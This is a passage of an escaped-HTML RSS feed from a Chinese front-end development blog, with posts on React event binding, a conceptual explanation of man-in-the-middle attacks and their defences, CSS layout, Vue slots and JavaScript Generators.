&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handerChange&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) =&amp;gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{{ &lt;span style="color:#a6e22e"&gt;marginTop&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;50px&amp;#39;&lt;/span&gt; }} &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onClick&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{ &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;handerClick&lt;/span&gt; } &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;按钮点击&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/button&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;placeholder&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;请输入内容&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onChange&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{ &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;handerChange&lt;/span&gt; } &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;我们先看一下&lt;code&gt;input dom&lt;/code&gt;元素上绑定的事件&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>中间人攻击</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-009/</link><pubDate>Wed, 04 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-009/</guid><description>&lt;p&gt;一句话总结：中间人攻击的关键在于&lt;strong&gt;获取公钥&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="一我和小美传纸条"&gt;一、我和小美传纸条&lt;/h2&gt;
&lt;p&gt;我和隔壁班的小美互相喜欢，经常互相传纸条。但我懒得动，一般让老王帮我顺路带过去，我信任老王，所以就是简单把纸对折一下就交给老王了。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-009/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="二带锁的盒子"&gt;二、带锁的盒子&lt;/h2&gt;
&lt;p&gt;有一天我发现，老王居然偷看我的纸条！&lt;/p&gt;
&lt;p&gt;我很生气，于是买了一个带锁的盒子，并配了两把钥匙🔑，我留一把，另一把让老王交给小美。我心想这下子老王没钥匙，看不了我们的纸条了。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-009/image-02.webp"&gt;&lt;/p&gt;
&lt;h2 id="三一个需要两把钥匙的盒子"&gt;三、一个需要两把钥匙的盒子&lt;/h2&gt;
&lt;p&gt;又过了几天，我发现老王还是会偷看，为什么呢？原来这老小子当初传递钥匙的时候，自己去复刻了一把！&lt;/p&gt;
&lt;p&gt;于是我又想了一个办法，换了一个更高级的盒子，这个盒子必须用一对钥匙才能使用，使用公钥上锁，必须使用私钥才能打开。我委托老王把我的公钥交给小美，把小美的公钥拿给我。&lt;/p&gt;
&lt;p&gt;以后我们都用对方的公钥来进行加密，对方用自己的私钥就能解密。而且就算老王把公钥拿去复刻一把也没关系，没有私钥他就打不开箱子，完美！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-009/image-03.webp"&gt;&lt;/p&gt;
&lt;h2 id="四班主任"&gt;四、班主任&lt;/h2&gt;
&lt;p&gt;过了几天，我发现老王还是能偷看我们的纸条，为什么呢？？？？？？&lt;/p&gt;
&lt;p&gt;我想了好几天终于想明白了！原来老王当初传递钥匙的时候，他把我俩的公钥自己留下了，这老小子把自己的公钥给了我们俩。他现在有手里有四把钥匙，想看什么看什么！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-009/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;这次我们终于意识到问题的关键，不管什么方案，让老王传钥匙就得坏事！于是我和小美商量好，这次不通过老王，而是通过我的班主任传递公钥，终于可以愉快的聊天了！&lt;/p&gt;
&lt;h2 id="五网络中的加密知识"&gt;五、网络中的加密知识&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;对称加密&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对称加密使用&lt;code&gt;同一个密钥&lt;/code&gt;进行加密和解密。它的优点是速度快，它的问题是密钥传播过程中一旦泄露，就功亏一篑了。&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;非对称加密&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;非对称加密使用一对密钥：公钥和私钥。&lt;code&gt;公钥用于加密，私钥用于解密&lt;/code&gt;。它的优点是密钥分发问题得到解决，公钥可以公开传播。缺点是速度较慢，通常用于加密小数据量或密钥交换。常见做法是通过非对称加密建立链接，交换对称加密密钥，然后使用对称加密的方式进行消息传递。&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;证书&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;数字证书是由认证机构（CA）签发的，包含公钥及其持有者身份信息的电子文档。它通过 CA 的数字签名验证其真实性，确保通信双方的身份和公钥的可信性。（证书就是上面例子中的班主任，是一个可信任的获取对方公钥的机构。）&lt;/p&gt;
&lt;h2 id="六中间人攻击"&gt;六、中间人攻击&lt;/h2&gt;
&lt;p&gt;中间人攻击的关键在于攻击者成功获取并提供&lt;strong&gt;可信公钥&lt;/strong&gt;，欺骗用户使其认为其公钥是合法服务器的公钥。这可以通过伪造证书或利用受损的 CA 来实现。（用上面例子来说，就是老王把自己的公钥伪装成小美的公钥给了我）&lt;/p&gt;
&lt;p&gt;作为普通用户防御措施很简单，当访问一个网站时，如果浏览器弹出“证书不可信”告警的时候，不要点“我信任”。&lt;/p&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h3 id="1-中间人攻击的基本概念"&gt;&lt;strong&gt;1. 中间人攻击的基本概念&lt;/strong&gt;&lt;/h3&gt;
&lt;h4 id="问题"&gt;&lt;strong&gt;问题&lt;/strong&gt;：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;什么是中间人攻击？请用通俗的语言解释。&lt;/li&gt;
&lt;li&gt;中间人攻击有哪些典型的攻击方式？&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;被动攻击（如窃听）。&lt;/li&gt;
&lt;li&gt;主动攻击（如数据篡改）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;中间人攻击的危害有哪些？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;中间人攻击是一种攻击者拦截并篡改通信内容的攻击。&lt;/li&gt;
&lt;li&gt;危害包括：窃取敏感数据（如密码）、篡改通信内容、伪装身份等。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="2-中间人攻击的原理"&gt;&lt;strong&gt;2. 中间人攻击的原理&lt;/strong&gt;&lt;/h3&gt;
&lt;h4 id="问题-1"&gt;&lt;strong&gt;问题&lt;/strong&gt;：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;中间人攻击是如何实现的？请简要描述其工作流程。&lt;/li&gt;
&lt;li&gt;在 HTTP 中，为什么容易发生中间人攻击？&lt;/li&gt;
&lt;li&gt;HTTPS 是否完全能防止中间人攻击？为什么？&lt;/li&gt;
&lt;li&gt;DNS 劫持和 ARP 欺骗是如何帮助实现中间人攻击的？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作流程&lt;/strong&gt;：&lt;br&gt;
&lt;ol&gt;
&lt;li&gt;攻击者充当通信双方之间的“中间人”。&lt;/li&gt;
&lt;li&gt;拦截通信数据，可能进行监听或篡改。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常见技术&lt;/strong&gt;：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;ARP 欺骗：伪装网关。&lt;/li&gt;
&lt;li&gt;DNS 劫持：将域名解析到攻击者控制的服务器。&lt;/li&gt;
&lt;li&gt;Wi-Fi 劫持：在公共网络中拦截通信数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="3-防御中间人攻击的技术措施"&gt;&lt;strong&gt;3. 防御中间人攻击的技术措施&lt;/strong&gt;&lt;/h3&gt;
&lt;h4 id="问题-2"&gt;&lt;strong&gt;问题&lt;/strong&gt;：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS 如何防御中间人攻击？它的安全机制是什么？&lt;/li&gt;
&lt;li&gt;什么是证书信任链？如何防止伪造的证书？&lt;/li&gt;
&lt;li&gt;什么是 HSTS（HTTP Strict Transport Security）？它如何防御中间人攻击？&lt;/li&gt;
&lt;li&gt;什么是双向 SSL/TLS？它如何进一步提高安全性？&lt;/li&gt;
&lt;li&gt;如何防止公共 Wi-Fi 中的中间人攻击？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>布局技巧</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-009/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-009/</guid><description>&lt;h3 id="1普通流常规流"&gt;1、普通流（常规流）&lt;/h3&gt;
&lt;p&gt;文档流（流式布局）分为 普通流、定位流、浮动流，不同流内的块级元素和行内元素的布局方式不同，布局方式用 FC（格式化上下文，含有 块级格式化上下文、内联格式化上下文、层叠格式化上下文、灵活格式化上下文等）来命名；&lt;/p&gt;
&lt;p&gt;普通流中的布局规则默认为块级盒子从上到下，垂直排列；内联盒子从左到右，水平排列等；（书写模式（writing-mode）会对流布局产生影响；&lt;/p&gt;
&lt;h3 id="2position"&gt;2、position&lt;/h3&gt;
&lt;p&gt;属性有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;static：默认值，元素依然按照 普通流 的定位规则定位；&lt;/li&gt;
&lt;li&gt;relative&lt;/li&gt;
&lt;li&gt;absolute&lt;/li&gt;
&lt;li&gt;sticky&lt;/li&gt;
&lt;li&gt;fixed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用 position 会脱离常规流，成为定位流，并有其自己的定位规则；&lt;/p&gt;
&lt;h3 id="3float"&gt;3、float&lt;/h3&gt;
&lt;p&gt;属性有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;left&lt;/li&gt;
&lt;li&gt;right&lt;/li&gt;
&lt;li&gt;none&lt;/li&gt;
&lt;li&gt;inherit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用 float 会脱离常规流，成为浮动流，并有其自己的定位规则；&lt;/p&gt;
&lt;h3 id="4table"&gt;4、table&lt;/h3&gt;
&lt;p&gt;使用 HTML 标签来布局；&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;table&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;tr&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;   &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;th&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;th&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;   &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;th&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;th&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;tr&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;tr&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;   &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;td&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;td&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;        &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;td&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;td&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;tr&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;table&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="5flex"&gt;5、flex&lt;/h3&gt;
&lt;p&gt;2009 年 W3C 提供的方案，注意只有 IE 10+ 支持 flex；&lt;/p&gt;
&lt;p&gt;重要的概念：flex 容器，flex 项目，主轴，交叉轴；&lt;/p&gt;
&lt;p&gt;设置某个元素的属性 &lt;code&gt;display: flex;&lt;/code&gt;，此元素就成了 flex 容器，flex 容器内的元素是 flex 项目；&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;flex 容器的属性：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;flex-direction&lt;/li&gt;
&lt;li&gt;flex-wrap&lt;/li&gt;
&lt;li&gt;flex-flow&lt;/li&gt;
&lt;li&gt;justify-content&lt;/li&gt;
&lt;li&gt;align-items&lt;/li&gt;
&lt;li&gt;align-content&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;flex 项目的属性&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;flex （flex-grow、flex-shrink、flex-basis）&lt;/li&gt;
&lt;li&gt;order&lt;/li&gt;
&lt;li&gt;align-self&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6grid"&gt;6、grid&lt;/h3&gt;
&lt;p&gt;二维布局方式，相对于使用 HTML 结构实现的 table 布局，grid 布局都是在 CSS 中完成的；&lt;/p&gt;</description></item><item><title>插槽</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-009/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-009/</guid><description>&lt;h2 id="一插槽的几种使用方式"&gt;一、插槽的几种使用方式&lt;/h2&gt;
&lt;h3 id="1-普通插槽"&gt;1. 普通插槽&lt;/h3&gt;
&lt;p&gt;举例来说，这里有一个 &lt;code&gt;&amp;lt;FancyButton&amp;gt;&lt;/code&gt; 组件，可以像这样使用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;FancyButton&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Click me! &lt;span style="color:#75715e"&gt;&amp;lt;!-- 插槽内容 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;FancyButton&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;而 &lt;code&gt;&amp;lt;FancyButton&amp;gt;&lt;/code&gt; 的模板是这样的：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;fancy-btn&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;slot&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;slot&lt;/span&gt;&amp;gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 插槽出口 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;&amp;lt;slot&amp;gt;&lt;/code&gt; 元素是一个 &lt;strong&gt;插槽出口&lt;/strong&gt; (slot outlet)，标示了父元素提供的 &lt;strong&gt;插槽内容&lt;/strong&gt; (slot content) 将在哪里被渲染。&lt;/p&gt;
&lt;p&gt;最终渲染出的 DOM 是这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;fancy-btn&amp;#34;&lt;/span&gt;&amp;gt;Click me!&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-具名插槽"&gt;2. 具名插槽&lt;/h3&gt;
&lt;p&gt;有时在一个组件中包含多个插槽出口是很有用的。举例来说，在一个 &lt;code&gt;&amp;lt;BaseLayout&amp;gt;&lt;/code&gt; 组件中，有如下模板：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;header&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 标题内容放这里 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;header&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;main&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 主要内容放这里 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;main&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 底部内容放这里 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;对于这种场景， &lt;code&gt;&amp;lt;slot&amp;gt;&lt;/code&gt; 元素可以有一个特殊的 attribute &lt;code&gt;name&lt;/code&gt;，用来给各个插槽分配唯一的 ID，以确定每一处要渲染的内容：&lt;/p&gt;</description></item><item><title>Generator</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/generator/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/generator/</guid><description>&lt;h2 id="聊聊-for-of"&gt;聊聊 &lt;code&gt;for of&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;说起 &lt;code&gt;for of&lt;/code&gt; 相信每个写过 &lt;code&gt;JavaScript&lt;/code&gt; 的人都用过 &lt;code&gt;for of&lt;/code&gt; ，平时我们用它做什么呢？大多数情况应该就是遍历数组了，当然，更多时候，我们也会用 &lt;code&gt;map()&lt;/code&gt; 或者 &lt;code&gt;filer()&lt;/code&gt; 来遍历一个数组。 但是就像我们标题里面说的，它跟 &lt;code&gt;Generator&lt;/code&gt; 能扯上什么关系呢？&lt;/p&gt;
&lt;p&gt;首先我们想一个问题，为什么使用 &lt;code&gt;for of&lt;/code&gt; 或者 &lt;code&gt;map()&lt;/code&gt;/&lt;code&gt;filer()&lt;/code&gt; 方法就可以遍历一个数组 (或者类数组对象: &lt;code&gt;Strings&lt;/code&gt; , &lt;code&gt;Maps&lt;/code&gt; , &lt;code&gt;Sets&lt;/code&gt; , &lt;code&gt;arguments&lt;/code&gt; ) 呢？ 为什么不能用他们来遍历一个对象呢？&lt;/p&gt;
&lt;h2 id="你能学到什么"&gt;你能学到什么&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;对 &lt;code&gt;for of&lt;/code&gt; 更深入的理解&lt;/li&gt;
&lt;li&gt;&lt;code&gt;iterator&lt;/code&gt; 到底是何方神圣?&lt;/li&gt;
&lt;li&gt;数组也是对象，为什么不能用 &lt;code&gt;for of&lt;/code&gt; 来遍历对象呢？&lt;/li&gt;
&lt;li&gt;如何实现对象的 &lt;code&gt;for of&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Generator&lt;/code&gt; 又是何方神圣？他有什么用呢？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="类数组对象的玄机"&gt;类数组对象的玄机&lt;/h2&gt;
&lt;p&gt;在真正揭开谜底之前，站在 &lt;code&gt;for of&lt;/code&gt; 的角度想一下，现在让你去遍历一个数组，你需要知道什么信息呢？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对应下标的值&lt;/li&gt;
&lt;li&gt;是否遍历结束的标志&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;带着这样的思考，我们打印一个数组来看看这里面的玄机：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;numbersArray&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dir&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;numbersArray&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/generator/image-01.png"&gt;&lt;/p&gt;
